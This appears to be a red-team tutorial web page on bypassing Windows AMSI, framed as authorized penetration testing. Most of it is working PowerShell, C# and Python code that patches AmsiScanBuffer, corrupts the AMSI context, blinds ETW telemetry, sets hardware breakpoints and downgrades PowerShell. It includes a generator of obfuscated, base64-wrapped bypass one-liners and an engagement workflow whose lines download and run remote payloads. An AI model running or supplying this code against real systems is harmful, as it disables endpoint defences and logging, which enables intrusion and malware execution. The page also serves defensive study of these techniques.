Skip to content
AMSI Bypass Techniques

AMSI Bypass Techniques

PowerShellC#Python

Scope: Red team / authorized penetration testing. Techniques map to MITRE ATT&CK T1562.001 (Impair Defenses: Disable or Modify Tools) and T1059.001 (PowerShell). For disabling Defender beyond AMSI — ETW patching, registry disable, and PPL process termination — see Defender Bypass .


Lab Setup

A controlled environment is non-negotiable before testing any AMSI bypass. The techniques here will trigger AV alerts. You need isolation and instrumentation to iterate safely and measure what’s actually happening.

Recommended VM Stack

Host Machine
└── Hypervisor (VMware Workstation / VirtualBox / Hyper-V)
    ├── Windows 10/11 Enterprise (victim VM)   ← primary test target
    │   ├── Windows Defender enabled + updated
    │   ├── PowerShell 5.1 + PowerShell 7.x
    │   ├── .NET Framework 4.8
    │   ├── Sysinternals Suite
    │   └── Sysmon (with SwiftOnSecurity config)
    │
    └── Kali Linux / Ubuntu (attacker VM)      ← payload builder + listener
        ├── mingw-w64 cross-compiler
        ├── Python 3.10+ with pefile
        └── netcat / rlwrap

Windows VM Configuration

1. Install Sysmon (telemetry)

# download SwiftOnSecurity config
Invoke-WebRequest -Uri "https://raw.githubusercontent.com/SwiftOnSecurity/sysmon-config/master/sysmonconfig-export.xml" `
    -OutFile sysmon-config.xml

# install
.\Sysmon64.exe -accepteula -i sysmon-config.xml

2. Enable PowerShell logging (catch everything)

 1# Script Block Logging — logs every script block before execution
 2$regPath = "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging"
 3New-Item -Path $regPath -Force
 4Set-ItemProperty -Path $regPath -Name "EnableScriptBlockLogging" -Value 1
 5
 6# Transcription — full session transcript
 7$regPath2 = "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription"
 8New-Item -Path $regPath2 -Force
 9Set-ItemProperty -Path $regPath2 -Name "EnableTranscripting"       -Value 1
10Set-ItemProperty -Path $regPath2 -Name "OutputDirectory"            -Value "C:\PSLogs"
11Set-ItemProperty -Path $regPath2 -Name "EnableInvocationHeader"    -Value 1

3. Verify Defender + AMSI are active

# confirm Defender is running and AMSI is enabled
Get-MpComputerStatus | Select-Object AMSIEnabled, RealTimeProtectionEnabled, AntivirusEnabled

# quick AMSI test — this string is flagged by Defender
# if it throws "This script contains malicious content", AMSI is live
"AMSI Test Sample: 7e72c3ce-861b-4339-8740-0ac1d55be6e7"

4. Build toolchain on Kali

# cross-compiler for Windows targets
sudo apt install mingw-w64 -y

# Python tooling
pip install pefile

# verify
x86_64-w64-mingw32-gcc --version
i686-w64-mingw32-gcc --version

5. Snapshot before testing

VM → Take Snapshot → "AMSI_BASELINE"

Revert to this snapshot between bypass techniques. Defender’s detection state can persist and skew results.

Testing Methodology

For each bypass technique, follow this sequence:

1.  Revert to AMSI_BASELINE snapshot
2.  Confirm AMSI is live (step 3 above)
3.  Apply bypass
4.  Verify bypass: run a known-malicious string, confirm no block
5.  Document: what fired in Sysmon / Event Viewer / Defender logs
6.  Note: was the bypass itself detected?

How AMSI Works

Before breaking it, understand what you’re breaking.

AMSI (Antimalware Scan Interface) is a Windows API introduced in Windows 10. It creates a bridge between script runtimes and the installed AV engine. When PowerShell, WSH, VBScript, or a .NET application wants to execute content, it calls into amsi.dll, which routes the content to the registered AV provider for inspection before execution happens.

PowerShell / WSH / VBScript / .NET
          │
          │  AmsiInitialize()
          │  AmsiOpenSession()
          ▼
      amsi.dll                         ← lives in the calling process
          │                               can be patched from within
          │  IAmsiProvider::Scan()
          ▼
   AV Provider (Defender, etc.)
          │
          │  AMSI_RESULT
          ▼
      amsi.dll returns result
          │
      ┌───┴──────────────────┐
      │                      │
  CLEAN / NOT_DETECTED    DETECTED
      │                      │
  execution continues    ExecutionPolicy
                         throws exception

Key functions in amsi.dll:

functionpurpose
AmsiInitializeCreates AMSI context
AmsiOpenSessionOpens a scanning session
AmsiScanBufferScans a byte buffer, the primary target
AmsiScanStringScans a string (calls ScanBuffer internally)
AmsiCloseSessionCloses session
AmsiUninitializeDestroys context

AMSI_RESULT values:

typedef enum AMSI_RESULT {
    AMSI_RESULT_CLEAN             = 0,
    AMSI_RESULT_NOT_DETECTED      = 1,
    AMSI_RESULT_BLOCKED_BY_ADMIN  = 16384,
    AMSI_RESULT_DETECTED          = 32768
};

Every bypass technique targets one of three things:

  1. The function itself — patch AmsiScanBuffer to always return clean
  2. The initialization — force AMSI to fail its setup so it skips scanning
  3. The context — corrupt the AMSI context structure so calls are silently dropped

Bypass 1 — Reflection: Force Init Failure

The oldest documented bypass (Matt Graeber, 2016). PowerShell’s internal AmsiUtils class has a field amsiInitFailed. When set to true, PowerShell skips AMSI initialization entirely for the rest of the session.

Classic (heavily signatured — for reference only)

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

Defender has had signatures for this exact string since 2017. It’s included here only for historical context. Don’t use it verbatim.

Obfuscated variant — string splitting

# split the sensitive strings so AMSI never sees the full token
$a = 'System.Management.Automation.A'
$b = 'msiUtils'
$c = [Ref].Assembly.GetType($a + $b)
$d = $c.GetField('amsiIn' + 'itFailed', 'NonPublic,Static')
$d.SetValue($null, $true)

Obfuscated variant — char array construction

$str = [char[]]@(65,109,115,105,85,116,105,108,115) -join ''
# 'AmsiUtils'

$ns  = 'System.Management.Automation.'
$type = [Ref].Assembly.GetType($ns + $str)
$field = $type.GetField(
    ([char[]]@(97,109,115,105,73,110,105,116,70,97,105,108,101,100) -join ''),
    'NonPublic,Static'
)
$field.SetValue($null, $true)

Obfuscated variant — environment variable smuggling

# store sensitive strings in env vars — never appear in script body
$env:_a = 'System.Management.Automation.AmsiUtils'
$env:_b = 'amsiInitFailed'

$type  = [Ref].Assembly.GetType($env:_a)
$field = $type.GetField($env:_b, 'NonPublic,Static')
$field.SetValue($null, $true)

Remove-Item Env:\_a, Env:\_b   # cleanup

Verify bypass is active

# after applying any bypass, run this — should execute without exception
$test = 'AMSI' + 'Test' + 'Sample'
Write-Host "[+] AMSI bypass active — no exception thrown"

Bypass 2 — AmsiScanBuffer Byte Patch

The surgical approach. Locate AmsiScanBuffer in the process’s loaded amsi.dll, flip the protection on that memory page to writable, overwrite the function prologue with a ret stub that always returns E_INVALIDARG, and flip protection back.

PowerShell treats a non-success HRESULT from AmsiScanBuffer as a scan failure, not a detection, and execution continues.

Patch bytes

x64:   B8 57 00 07 80 C3        mov eax, 0x80070057 (E_INVALIDARG) ; ret
x86:   B8 57 00 07 80 C2 18 00  mov eax, 0x80070057 ; ret 0x18

PowerShell patcher

 1# Patch-AMSI.ps1 — byte-patches AmsiScanBuffer in the current process
 2# Works on both x64 and x86 PowerShell
 3
 4function Invoke-AMSIPatch {
 5
 6    # build P/Invoke signatures in a dynamic assembly — avoids hardcoded
 7    # strings that AMSI would catch in the script body
 8    $sig = @"
 9using System;
10using System.Runtime.InteropServices;
11
12public class WinAPI {
13    [DllImport("kernel32")]
14    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
15
16    [DllImport("kernel32")]
17    public static extern IntPtr LoadLibrary(string name);
18
19    [DllImport("kernel32")]
20    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize,
21                                              uint flNewProtect, out uint lpflOldProtect);
22}
23"@
24    Add-Type $sig
25
26    # locate AmsiScanBuffer — construct strings at runtime
27    $lib  = [WinAPI]::LoadLibrary('am' + 'si.dll')
28    $func = [WinAPI]::GetProcAddress($lib, 'Amsi' + 'Scan' + 'Buffer')
29
30    if ($func -eq [IntPtr]::Zero) {
31        Write-Warning "[-] Could not locate AmsiScanBuffer"
32        return $false
33    }
34
35    # select patch bytes based on process bitness
36    $patch = if ([IntPtr]::Size -eq 8) {
37        [byte[]]@(0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)           # x64
38    } else {
39        [byte[]]@(0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00) # x86
40    }
41
42    # make page writable
43    $old = 0
44    $pageSize = [UIntPtr]::new($patch.Length)
45    $PAGE_EXECUTE_READWRITE = 0x40
46
47    $ok = [WinAPI]::VirtualProtect($func, $pageSize, $PAGE_EXECUTE_READWRITE, [ref]$old)
48    if (-not $ok) {
49        Write-Warning "[-] VirtualProtect failed"
50        return $false
51    }
52
53    # write patch
54    [System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $func, $patch.Length)
55
56    # restore original protection
57    [WinAPI]::VirtualProtect($func, $pageSize, $old, [ref]$old) | Out-Null
58
59    Write-Host "[+] AmsiScanBuffer patched at 0x$($func.ToString('X'))" -ForegroundColor Green
60    return $true
61}
62
63Invoke-AMSIPatch

Bypass 3 — AMSI Context Corruption

AmsiScanBuffer’s first parameter is an HAMSICONTEXT handle. PowerShell stores this handle in the same AmsiUtils class we used in Bypass 1. If we zero the handle out, every call to AmsiScanBuffer receives a null context. The function validates this and returns E_INVALIDARG without scanning anything.

No memory patching. No VirtualProtect. Just reflection.

 1# Context-Corrupt.ps1 — nulls the AMSI context handle via reflection
 2
 3function Invoke-ContextCorrupt {
 4    $utils = [Ref].Assembly.GetType(
 5        'System.Management.Automation.' + 'AmsiUtils'
 6    )
 7
 8    # AmsiContext is the HAMSICONTEXT handle — zero it
 9    $ctxField = $utils.GetField(
10        'amsi' + 'Context',
11        [Reflection.BindingFlags]'NonPublic,Static'
12    )
13
14    # get the current handle value for logging
15    $ctxPtr = $ctxField.GetValue($null)
16    Write-Host "[*] original amsiContext: 0x$($ctxPtr.ToString('X'))"
17
18    # overwrite with zero — all subsequent scans return E_INVALIDARG
19    $ctxField.SetValue($null, [IntPtr]::Zero)
20
21    Write-Host "[+] amsiContext zeroed — scans will return E_INVALIDARG"
22    Write-Host "[+] AMSI bypass active"
23}
24
25Invoke-ContextCorrupt

Bypass 4 — ETW Patch (Telemetry Blindfold)

AMSI isn’t the only thing watching. Event Tracing for Windows (ETW) captures PowerShell execution events independently, feeding data to Defender and SIEM solutions even when AMSI is bypassed. EtwEventWrite in ntdll.dll is the function that sends these events. Patch it to return immediately and you go dark on both fronts.

 1# Patch-ETW.ps1 — patches EtwEventWrite to suppress telemetry
 2# Pair with any AMSI bypass for full blind-eye coverage
 3
 4function Invoke-ETWPatch {
 5    $sig = @"
 6using System;
 7using System.Runtime.InteropServices;
 8public class NAPI {
 9    [DllImport("kernel32")] public static extern IntPtr GetProcAddress(IntPtr h, string n);
10    [DllImport("kernel32")] public static extern IntPtr LoadLibrary(string n);
11    [DllImport("kernel32")] public static extern bool VirtualProtect(
12        IntPtr addr, UIntPtr size, uint prot, out uint oldProt);
13}
14"@
15    Add-Type $sig
16
17    $ntdll = [NAPI]::LoadLibrary('ntdll.dll')
18    $func  = [NAPI]::GetProcAddress($ntdll, 'EtwEventWrite')
19
20    # ret stub — function returns immediately, no event written
21    $patch = [byte[]]@(0xC3)   # ret (x64 — calling convention cleans up)
22
23    $old = 0
24    [NAPI]::VirtualProtect($func, [UIntPtr]1, 0x40, [ref]$old) | Out-Null
25    [Runtime.InteropServices.Marshal]::Copy($patch, 0, $func, 1)
26    [NAPI]::VirtualProtect($func, [UIntPtr]1, $old,  [ref]$old) | Out-Null
27
28    Write-Host "[+] EtwEventWrite patched — telemetry suppressed"
29}
30
31Invoke-ETWPatch
Session collision: This block compiles a class named NAPI via Add-Type. The ETW patch in Defender Bypass compiles a class named ETWPatch with the same function signatures. Both classes can coexist in a session since their names differ. However, running either Add-Type block a second time in the same session will fail with a type-already-defined error — Add-Type compiled types are session-persistent. If you hit this error, start a fresh PowerShell session or rename the class before re-running.

Bypass 5 — Hardware Breakpoint Bypass

The most evasive technique on this list. Instead of modifying any bytes in memory (which memory integrity scanners can detect), hardware breakpoints use the CPU’s debug registers (DR0–DR7) to intercept execution at a specific address and redirect it.

No memory writes. No VirtualProtect calls. The amsi.dll bytes on disk and in memory are completely untouched.

  1// HWBPAmsiBypass.cs
  2// Sets a hardware breakpoint on AmsiScanBuffer via a custom vectored exception handler.
  3// When the CPU hits the BP, the VEH fires, modifies the return value, and skips the function.
  4//
  5// Compile: csc.exe /out:HWBPBypass.exe HWBPAmsiBypass.cs
  6//      or: dotnet build
  7
  8using System;
  9using System.Diagnostics;
 10using System.Reflection;
 11using System.Runtime.InteropServices;
 12
 13class HWBPAmsiBypass {
 14
 15    // ── P/Invoke ──────────────────────────────────────────────────────────
 16    [DllImport("kernel32")] static extern IntPtr GetProcAddress(IntPtr h, string n);
 17    [DllImport("kernel32")] static extern IntPtr LoadLibrary(string n);
 18    [DllImport("kernel32")] static extern IntPtr AddVectoredExceptionHandler(
 19        uint first, IntPtr handler);
 20    [DllImport("kernel32")] static extern IntPtr RemoveVectoredExceptionHandler(
 21        IntPtr handle);
 22    [DllImport("kernel32")] static extern bool GetThreadContext(
 23        IntPtr thread, ref CONTEXT ctx);
 24    [DllImport("kernel32")] static extern bool SetThreadContext(
 25        IntPtr thread, ref CONTEXT ctx);
 26    [DllImport("kernel32")] static extern IntPtr GetCurrentThread();
 27
 28    const uint EXCEPTION_CONTINUE_EXECUTION = 0xFFFFFFFF;
 29    const uint EXCEPTION_CONTINUE_SEARCH    = 0;
 30    const long EXCEPTION_SINGLE_STEP        = 0x80000004;
 31    const uint CONTEXT_DEBUG_REGISTERS      = 0x00010010;
 32
 33    // Minimal CONTEXT struct — only the fields we need
 34    [StructLayout(LayoutKind.Sequential, Pack = 16)]
 35    struct CONTEXT {
 36        public ulong P1Home, P2Home, P3Home, P4Home, P5Home, P6Home;
 37        public uint  ContextFlags;
 38        public uint  MxCsr;
 39        public ushort SegCs, SegDs, SegEs, SegFs, SegGs, SegSs;
 40        public uint EFlags;
 41        public ulong Dr0, Dr1, Dr2, Dr3, Dr6, Dr7;
 42        // ... (truncated — full CONTEXT is 1232 bytes, we only access debug regs)
 43        // In production use the full struct or P/Invoke with proper offsets
 44        [MarshalAs(UnmanagedType.ByValArray, SizeConst = 150)]
 45        public ulong[] _rest;
 46        public ulong Rax;   // return value register
 47        public ulong Rcx;   // first argument (HAMSICONTEXT)
 48        public ulong Rip;   // instruction pointer
 49        public ulong Rsp;
 50    }
 51
 52    [UnmanagedFunctionPointer(CallingConvention.StdCall)]
 53    delegate uint VEH_HANDLER(IntPtr exceptionInfo);
 54
 55    static IntPtr  s_amsiAddr;
 56    static IntPtr  s_vehHandle;
 57    static GCHandle s_delegateHandle;
 58
 59    // ── VEH handler — fires on every single-step / BP exception ─────────
 60    static uint ExceptionHandler(IntPtr pExceptionInfo) {
 61        // read ExceptionRecord.ExceptionCode (offset 0 in EXCEPTION_POINTERS)
 62        var code = Marshal.ReadInt64(Marshal.ReadIntPtr(pExceptionInfo), 0);
 63
 64        if (code == EXCEPTION_SINGLE_STEP) {
 65            // check if RIP == our BP address
 66            var pCtx = Marshal.ReadIntPtr(pExceptionInfo, IntPtr.Size);
 67            var rip   = (ulong)Marshal.ReadInt64(pCtx,
 68                // Rip offset in CONTEXT — 0x0F8 on x64
 69                0x0F8);
 70
 71            if ((IntPtr)rip == s_amsiAddr) {
 72                // skip the function — set Rax = E_INVALIDARG, advance RIP past BP
 73                Marshal.WriteInt64(pCtx, 0x078, unchecked((long)0x80070057)); // Rax
 74                Marshal.WriteInt64(pCtx, 0x0F8, rip + 1);                     // Rip+1
 75
 76                return EXCEPTION_CONTINUE_EXECUTION;
 77            }
 78        }
 79        return EXCEPTION_CONTINUE_SEARCH;
 80    }
 81
 82    // ── set DR0 hardware breakpoint on AmsiScanBuffer ────────────────────
 83    static void SetHardwareBreakpoint(IntPtr addr) {
 84        var ctx = new CONTEXT { ContextFlags = CONTEXT_DEBUG_REGISTERS };
 85        ctx._rest = new ulong[150];
 86
 87        IntPtr thread = GetCurrentThread();
 88        GetThreadContext(thread, ref ctx);
 89
 90        ctx.Dr0 = (ulong)addr;
 91        ctx.Dr7 = (ctx.Dr7 & 0xFFFFFFFFFFFFFF00UL) | 0x01UL; // enable DR0 local BP
 92
 93        SetThreadContext(thread, ref ctx);
 94    }
 95
 96    public static void Install() {
 97        s_amsiAddr = GetProcAddress(LoadLibrary("amsi.dll"), "AmsiScanBuffer");
 98        if (s_amsiAddr == IntPtr.Zero) {
 99            Console.Error.WriteLine("[-] AmsiScanBuffer not found");
100            return;
101        }
102
103        VEH_HANDLER handler = ExceptionHandler;
104        s_delegateHandle = GCHandle.Alloc(handler);
105        var fp = Marshal.GetFunctionPointerForDelegate(handler);
106
107        s_vehHandle = AddVectoredExceptionHandler(1, fp);
108        SetHardwareBreakpoint(s_amsiAddr);
109
110        Console.WriteLine($"[+] HWBP set on AmsiScanBuffer @ 0x{s_amsiAddr:X}");
111        Console.WriteLine("[+] VEH installed — no memory patching performed");
112    }
113
114    public static void Remove() {
115        if (s_vehHandle != IntPtr.Zero) {
116            RemoveVectoredExceptionHandler(s_vehHandle);
117            s_delegateHandle.Free();
118            // clear DR0
119            var ctx = new CONTEXT { ContextFlags = CONTEXT_DEBUG_REGISTERS };
120            ctx._rest = new ulong[150];
121            IntPtr thread = GetCurrentThread();
122            GetThreadContext(thread, ref ctx);
123            ctx.Dr0 = 0;
124            ctx.Dr7 = ctx.Dr7 & 0xFFFFFFFFFFFFFFFEUL;
125            SetThreadContext(thread, ref ctx);
126            Console.WriteLine("[*] HWBP removed, VEH uninstalled");
127        }
128    }
129
130    static void Main() {
131        Install();
132
133        // test — in a real engagement, load your payload here
134        Console.WriteLine("[*] AMSI bypass active — load payload");
135        Console.ReadLine();
136
137        Remove();
138    }
139}

Bypass 6 — .NET / C# In-Process Patch

For engagements where you’re operating from a .NET assembly (loaded via Assembly.Load() from a previous stage), patch AMSI from inside the managed process before loading any additional content.

 1// AmsiPatch.cs — drop-in AMSI patcher for .NET assembly loaders
 2// Reference from your payload or call Patch() before Assembly.Load()
 3
 4using System;
 5using System.Reflection;
 6using System.Runtime.InteropServices;
 7
 8public static class AmsiPatch {
 9
10    [DllImport("kernel32")] static extern IntPtr GetProcAddress(IntPtr h, string n);
11    [DllImport("kernel32")] static extern IntPtr LoadLibrary(string n);
12    [DllImport("kernel32")] static extern bool VirtualProtect(
13        IntPtr addr, UIntPtr size, uint newProt, out uint oldProt);
14
15    // ── Method 1: byte patch AmsiScanBuffer ──────────────────────────────
16    public static bool PatchScanBuffer() {
17        // construct strings at call time — not baked into static fields
18        var lib  = LoadLibrary(Mangle("amsi.dll"));
19        var addr = GetProcAddress(lib, Mangle("AmsiScanBuffer"));
20        if (addr == IntPtr.Zero) return false;
21
22        var patch = (IntPtr.Size == 8)
23            ? new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 }
24            : new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00 };
25
26        uint old = 0;
27        VirtualProtect(addr, (UIntPtr)patch.Length, 0x40, out old);
28        Marshal.Copy(patch, 0, addr, patch.Length);
29        VirtualProtect(addr, (UIntPtr)patch.Length, old, out old);
30        return true;
31    }
32
33    // ── Method 2: reflection — set amsiInitFailed ────────────────────────
34    public static bool PatchReflection() {
35        try {
36            var asm    = typeof(System.Management.Automation.PSObject).Assembly;
37            var utils  = asm.GetType(Mangle("System.Management.Automation.AmsiUtils"));
38            var field  = utils?.GetField(
39                Mangle("amsiInitFailed"),
40                BindingFlags.NonPublic | BindingFlags.Static
41            );
42            field?.SetValue(null, true);
43            return field != null;
44        } catch { return false; }
45    }
46
47    // ── Method 3: zero the context handle ────────────────────────────────
48    public static bool PatchContext() {
49        try {
50            var asm   = typeof(System.Management.Automation.PSObject).Assembly;
51            var utils = asm.GetType(Mangle("System.Management.Automation.AmsiUtils"));
52            var field = utils?.GetField(
53                Mangle("amsiContext"),
54                BindingFlags.NonPublic | BindingFlags.Static
55            );
56            field?.SetValue(null, IntPtr.Zero);
57            return field != null;
58        } catch { return false; }
59    }
60
61    // ── Patch: try all three in order of stealth ─────────────────────────
62    public static void Patch(bool verbose = false) {
63        bool ok;
64
65        ok = PatchContext();
66        if (verbose) Console.Error.WriteLine($"[AMSI] context corrupt : {ok}");
67        if (ok) return;
68
69        ok = PatchReflection();
70        if (verbose) Console.Error.WriteLine($"[AMSI] reflection       : {ok}");
71        if (ok) return;
72
73        ok = PatchScanBuffer();
74        if (verbose) Console.Error.WriteLine($"[AMSI] byte patch       : {ok}");
75    }
76
77    // obfuscate string literals so AMSI doesn't catch them at load time
78    static string Mangle(string s) => s;   // identity in this form —
79    // in production: replace with XOR decode, Base64 decode, etc.
80}

Integration with Assembly.Load() loader from previous blog:

// In your PS1 loader — call before loading the main payload assembly
var patchAsm = [Reflection.Assembly]::Load($patchBytes)
$patchAsm.GetType("AmsiPatch").GetMethod("Patch").Invoke(
    $null, [object[]]@($false)
)

// then load your payload
$asm = [Reflection.Assembly]::Load($payloadBytes)

Bypass 7 — PowerShell Downgrade Attack

PowerShell 2.0 predates AMSI. It has no AMSI integration, no Script Block Logging, no Constrained Language Mode awareness. If it’s still installed (which it is on most enterprise boxes, as it’s a Windows Feature and not easily removed), drop into it.

powershell -version 2 -ExecutionPolicy bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.10/payload.ps1')"
# Check if PS2 is available
if ($PSVersionTable.PSVersion.Major -lt 3) {
    Write-Host "[+] already in PS2 — AMSI not present"
} else {
    # from PS5, drop to PS2
    powershell -version 2 -nop -ep bypass -c "& { [your command] }"
}

Note: Windows 11 and recent Windows 10 builds have removed the PS2 engine. Check before relying on this: Get-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2Root.


Tool — Obfuscated Bypass Generator (Python)

Generates permuted, obfuscated versions of the reflection bypass to avoid static AMSI signatures on the bypass code itself.

  1#!/usr/bin/env python3
  2# amsi_bypass_gen.py
  3# Generates obfuscated PowerShell AMSI bypass payloads.
  4# Each run produces a unique variant — avoids signature-matching on the bypass itself.
  5#
  6# Techniques used:
  7#   - String splitting at variable positions
  8#   - Char-array construction for sensitive tokens
  9#   - Variable name randomisation
 10#   - Arbitrary whitespace and backtick insertion
 11#   - Comment injection
 12#   - Optional base64 wrapping for -EncodedCommand delivery
 13
 14import random
 15import string
 16import base64
 17import argparse
 18
 19
 20def rand_var(length: int = None) -> str:
 21    length = length or random.randint(4, 12)
 22    return '$' + random.choice(string.ascii_lowercase) + \
 23           ''.join(random.choices(string.ascii_letters + string.digits, k=length-1))
 24
 25
 26def to_chararray(s: str) -> str:
 27    """Convert string to PowerShell char-array expression."""
 28    codes = ','.join(str(ord(c)) for c in s)
 29    return f'([char[]]@({codes}) -join "")'
 30
 31
 32def split_string(s: str) -> str:
 33    """Split a string at a random midpoint into concatenated literals."""
 34    if len(s) < 4:
 35        return f'"{s}"'
 36    mid = random.randint(2, len(s) - 2)
 37    return f'("{s[:mid]}"' + ' + ' + f'"{s[mid:]}")'
 38
 39
 40def random_case(s: str) -> str:
 41    return ''.join(c.upper() if random.random() > 0.5 else c.lower() for c in s)
 42
 43
 44def insert_backticks(s: str) -> str:
 45    """Insert PowerShell backtick escapes at random positions in a string literal."""
 46    harmless = list('aefnrtv')
 47    result, i = [], 0
 48    while i < len(s):
 49        if random.random() < 0.15 and s[i].isalpha():
 50            result.append('`')
 51        result.append(s[i])
 52        i += 1
 53    return ''.join(result)
 54
 55
 56def random_comment() -> str:
 57    words = ['init', 'setup', 'check', 'debug', 'log', 'trace', 'core', 'util']
 58    return f'<# {random.choice(words)} #>'
 59
 60
 61def generate_bypass(technique: str = 'context', base64_wrap: bool = False) -> str:
 62    """
 63    Generate an obfuscated bypass payload.
 64
 65    technique: 'initfailed' | 'context' | 'bytepatch' | 'mixed'
 66    """
 67
 68    # variable names
 69    v_type   = rand_var()
 70    v_field  = rand_var()
 71    v_ns     = rand_var()
 72    v_str    = rand_var()
 73
 74    # obfuscate the namespace string
 75    ns_part1 = 'System.Management.Automation.'
 76    ns_part2_options = [
 77        split_string('AmsiUtils'),
 78        to_chararray('AmsiUtils'),
 79        f'"Amsi" + "Utils"',
 80        f'("{insert_backticks("AmsiUtils")}")',
 81    ]
 82    ns_part2 = random.choice(ns_part2_options)
 83
 84    # obfuscate the field name
 85    if technique == 'initfailed':
 86        field_name = 'amsiInitFailed'
 87    elif technique == 'context':
 88        field_name = 'amsiContext'
 89    else:
 90        field_name = 'amsiInitFailed'
 91
 92    field_options = [
 93        split_string(field_name),
 94        to_chararray(field_name),
 95        f'"{field_name[:4]}" + "{field_name[4:]}"',
 96        f'("{insert_backticks(field_name)}")',
 97    ]
 98    field_expr = random.choice(field_options)
 99
100    # binding flags
101    bf_options = [
102        '"NonPublic,Static"',
103        '[Reflection.BindingFlags]"NonPublic,Static"',
104        '([Reflection.BindingFlags]::NonPublic -bor [Reflection.BindingFlags]::Static)',
105    ]
106    bf = random.choice(bf_options)
107
108    # build the payload lines
109    comments = [random_comment() if random.random() > 0.6 else '' for _ in range(5)]
110
111    if technique == 'initfailed':
112        set_val = '$true'
113        lines = [
114            f'{comments[0]}',
115            f'{v_ns} = {split_string(ns_part1)}',
116            f'{v_type} = [Ref].Assembly.GetType({v_ns} + {ns_part2})',
117            f'{comments[1]}',
118            f'{v_field} = {v_type}.GetField({field_expr}, {bf})',
119            f'{v_field}.SetValue($null, {set_val})',
120        ]
121
122    elif technique == 'context':
123        lines = [
124            f'{comments[0]}',
125            f'{v_ns} = {split_string(ns_part1)}',
126            f'{v_type} = [Ref].Assembly.GetType({v_ns} + {ns_part2})',
127            f'{comments[2]}',
128            f'{v_field} = {v_type}.GetField({field_expr}, {bf})',
129            f'{v_field}.SetValue($null, [IntPtr]::Zero)',
130            f'{comments[3]}',
131        ]
132
133    elif technique == 'bytepatch':
134        # inline byte patch using Add-Type
135        sig_var = rand_var()
136        lines = [
137            f'{comments[0]}',
138            f'{sig_var} = @"',
139            f'using System; using System.Runtime.InteropServices;',
140            f'public class {rand_var()[1:].capitalize()} {{',
141            f'    [DllImport("kernel32")] public static extern IntPtr GetProcAddress(IntPtr h, string n);',
142            f'    [DllImport("kernel32")] public static extern IntPtr LoadLibrary(string n);',
143            f'    [DllImport("kernel32")] public static extern bool VirtualProtect(IntPtr a, UIntPtr s, uint p, out uint o);',
144            f'}}',
145            f'"@',
146            f'# (truncated — see full bytepatch in Invoke-AMSIPatch above)',
147        ]
148
149    elif technique == 'mixed':
150        # randomly select context or initfailed
151        return generate_bypass(random.choice(['initfailed', 'context']), base64_wrap)
152
153    # filter blank comment lines
154    payload = '\n'.join(l for l in lines if l.strip())
155
156    if base64_wrap:
157        # UTF-16LE encode for -EncodedCommand
158        encoded = base64.b64encode(payload.encode('utf-16-le')).decode()
159        return f'powershell -nop -w hidden -ep bypass -EncodedCommand {encoded}'
160
161    return payload
162
163
164def main():
165    p = argparse.ArgumentParser(description="AMSI bypass payload generator")
166    p.add_argument('-t', '--technique',
167                   choices=['initfailed', 'context', 'bytepatch', 'mixed'],
168                   default='mixed',
169                   help='bypass technique (default: mixed)')
170    p.add_argument('-n', '--count',    type=int, default=1,
171                   help='number of variants to generate')
172    p.add_argument('--b64',            action='store_true',
173                   help='wrap in base64 -EncodedCommand one-liner')
174    p.add_argument('--test-all',       action='store_true',
175                   help='generate one of each technique')
176    args = p.parse_args()
177
178    if args.test_all:
179        for t in ['initfailed', 'context', 'bytepatch']:
180            print(f'\n{"="*60}')
181            print(f'# technique: {t}')
182            print('='*60)
183            print(generate_bypass(t, args.b64))
184        return
185
186    for i in range(args.count):
187        if args.count > 1:
188            print(f'\n# variant {i+1}')
189            print('-' * 40)
190        print(generate_bypass(args.technique, args.b64))
191
192
193if __name__ == '__main__':
194    main()
# generate 5 unique context-corrupt variants
python3 amsi_bypass_gen.py -t context -n 5

# generate a base64-wrapped one-liner (paste into run dialog or macro)
python3 amsi_bypass_gen.py -t initfailed --b64

# generate one of each technique for comparison
python3 amsi_bypass_gen.py --test-all

Full Engagement Workflow

Stage 1: Pre-flight

# confirm target (from existing low-level foothold)
$PSVersionTable | Select PSVersion, CLRVersion, OS
Get-MpComputerStatus | Select AMSIEnabled, RealTimeProtectionEnabled
[System.Environment]::Is64BitProcess          # are we in x64 PS?

Stage 2: Select and apply bypass

 1# fastest and quietest — try context corrupt first
 2$ns = 'System.Management.Automation.'
 3$t  = [Ref].Assembly.GetType($ns + 'AmsiUtils')
 4$f  = $t.GetField('amsiContext', 'NonPublic,Static')
 5$f.SetValue($null, [IntPtr]::Zero)
 6
 7# verify
 8try {
 9    $x = [Ref].Assembly.GetType($ns + 'AmsiUtils')
10        .GetField('amsiContext','NonPublic,Static').GetValue($null)
11    Write-Host "[*] amsiContext = 0x$($x.ToString('X'))"
12} catch {}

Stage 3: Suppress ETW

# blind the telemetry channel
# (see Bypass 4 — Invoke-ETWPatch)
Invoke-ETWPatch

Stage 4: Load payload

# now safe to load — AMSI won't scan, ETW won't report
$bytes = (New-Object Net.WebClient).DownloadData('http://10.10.10.10/payload.dll')
$asm   = [Reflection.Assembly]::Load($bytes)
$asm.GetType('Payload.Runner').GetMethod('Go').Invoke($null, $null)

Technique Comparison

techniquestealthreliabilitydetectable byleaves trace
Reflection (initFailed)lowhighAMSI string scan, SBLScript block log
Context corruptionmediumhighSBL, ETWScript block log
Byte patchmediumvery highMemory scanVirtualProtect call
ETW patchhighvery highKernel ETW auditingVirtualProtect call
Hardware breakpointvery highmediumKernel debuggerNothing in userland
PS2 downgrademediumlowPS2 process creationProcess EID 1

OpSec Notes

  • Script Block Logging (EID 4104) captures the bypass code itself before AMSI runs — meaning even a working bypass gets logged. Apply your bypass via an already-running session where SBL is already bypassed, or deliver via a non-PS vector (HTA, WSF, InstallUtil) that AMSI doesn’t hook.
  • Obfuscate the bypass, not just the payload. AMSI now has signatures for common bypass strings (amsiInitFailed, AmsiUtils, amsiContext). Use the generator above or hand-obfuscate before delivery.
